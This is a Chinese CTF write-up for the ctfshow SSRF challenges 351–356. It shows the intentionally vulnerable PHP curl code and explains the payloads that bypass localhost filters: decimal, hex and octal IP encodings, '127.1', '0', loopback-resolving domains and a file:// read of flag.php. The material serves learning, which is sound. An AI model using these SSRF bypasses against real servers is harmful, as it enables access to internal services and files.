ctfshow ssrf web 351-354
web 351
题目如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
$ch=curl_init($url);
初始化一个新的cURL会话。cURL库是一个强大的库,用于与各种类型的服务器进行数据传输。
curl_setopt($ch,CURLOPT_HEADER,0);
设置一个cURL选项,CURLOPT_HEADER为0表示不在输出包含HTTP请求。
curl_setopt($ch,CURLOPT_RETRUNTRANSFER,1);
设置一个cURL选项,CURLOPT_RETURNTRANSFER为1时表示将curl_exec()的返回值作为字符串返回,而不是直接输出到屏幕上。
$result=curl_exec($ch);
执行cURL会话,PHP服务器会向$url指定的地址发起一个HTTP请求,并将服务器返回的响应体内容存储在$result这个变量中。
curl_close($ch);
关闭cURL,释放资源。
1.本质上如果直接访问 http://ctf.example.com/flag.php,会返回403 Forbidden或404 Not Found。也就是说,从你的浏览器这个“外部视角”出发,你是拿不到flag的。
但服务器自己可以访问自己:
服务器上的服务(如Apache/Nginx)在监听 127.0.0.1:80 时,通常也允许来自本机自身的请求。
所以,当运行在 ctf.example.com 上的PHP脚本(你的攻击目标)去请求 http://127.0.0.1/flag.php 时,这个请求是发自本机,访问本机。
Web服务器(Apache/Nginx)会认为这是一个合法的内部请求,并正常地返回 flag.php 的内容。
payload:
url=http://localhost/flag.php
url=http://127.0.0.1/flag.php
url=file:///var/www/html/flag.php
web 352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
在这里先解释一下$x=parse_url($url);是什么意思。
parse_url() 函数接收一个字符串参数 $url(一个完整的网址),然后将其“拆解”成一个关联数组(或在某些模式下返回特定部分)。这个数组包含了 URL 中所有标准的部分,如协议、主机名、路径、查询字符串等。
如url=https://www.example.com:8080/path/to/page?name=alice&age=30#section1
那么这个parse_url函数会将该url拆解然后组成一个关联数组。
$x实际是如下的结果:
Array
(
[scheme] => https
[host] => www.example.com
[port] => 8080
[path] => /path/to/page
[query] => name=alice&age=30
[fragment] => section1
)
这里schema是协议,host是主机名/域名,port是端口号,path是路径,query是?之后的参数,fragment是片段,(哈希#之后的内容)。
#后面的内容(这里是 section1)不会被发送到服务器,它完全在浏览器端。
简单来说,URL中的
#就像一个“页面内GPS坐标”。它告诉浏览器:“去这个地址,把页面拿回来,然后直接导航到这个页面的XX位置。” 服务器不参与这个“导航”过程。
接下来查看这道题,首先我们必须使用http或者https,那么我们第一可能想使用http://127.0.0.1/flag.php,但是发现if(!preg_match('/localhost|127.0.0/')),这句话乍一看好像过滤了localhost和127.0.0.1,但是没有为什么这样说呢。
正确的preg_match函数的使用方法应该是
if(!preg_match('/localhost|127.0.0/',$x['host'])),在x这个变量的关联数组中过滤localhost和127.0.0.1。题目中这样写没有指定在哪个变量里过滤,所有实际上没有过滤的作用。
所以paylaod:
http:127.0.0.1/flag.php
http:localhost/flag.php
但是如果真的过滤了呢?
那么可以使用下面的方法绕过。
常用绕过方式:
利用IP地址的不同表示法。
-
省略前面的零:
-
127.0.0.1->127.1 -
127.0.0.1->0.0.0.0(在某些配置中指向本机)
-
-
十进制转换:
-
将IP地址转换为一个十进制数。
-
127.0.0.1 -
Payload:
http://2130706433/flag.php
-
-
十六进制转换:
-
将每个字节转换为十六进制。
-
127.0.0.1=0x7f.0x00.0x00.0x01,常可省略点写成0x7f000001。 -
Payload:
http://0x7f000001/flag.php(cURL支持此格式)
-
-
八进制转换:
-
将每个字节转换为八进制,通常前面加
0。 -
127.0.0.1=0177.0.0.01 -
Payload:
http://0177.0.0.01/flag.php(注意:新版本PHP/cURL可能已修复)
-
-
混合进制:
-
127.0.0.1->127.0.0.0x1->127.0.0.1 -
127.0.0.1->0x7f.0.0.1
-
web 353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
payload:
url=http://127.1/flag.php
url=http://2130706433/flag.php
url=http://0x7f000001/flag.php
url=http://0177.0.0.01/flag.php
url=http://0x7f.0x00.0x00.0x01/flag.php
web 354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
payload:
url=http://localtest.me/flag.php
url=http://sudo.cc/flag.php
url=http://safe.taobao.com/flag.php
为什么localtest.me,sudo.cc,safe.taobao.com代表127.0.0.1或者0.0.0.0
能代表 127.0.0.1 或者0.0.0.0并不是因为任何技术巧合,而是其域名所有者人为地、故意地在DNS服务器上设置了这条解析规则。
web 355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
strlen($host)<=5)
判断变量
$host所存储的字符串的长度是否小于或等于 5 个字符,其实就是判断域名或者主机名不能大于5。
payload:
url=http://127.1/flag.php #是http://127.0.0.1/flag.php的简化形式。
url=http://0/flag.php #在linux中0指向本机地址,它是http://0.0.0.0/flag.php的简化形式,事实上目前绝大部分服务器都是Linux操作系统,所以这个可能成功。
web 356
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
payload:
url=http://0/flag.php
更多推荐

所有评论(0)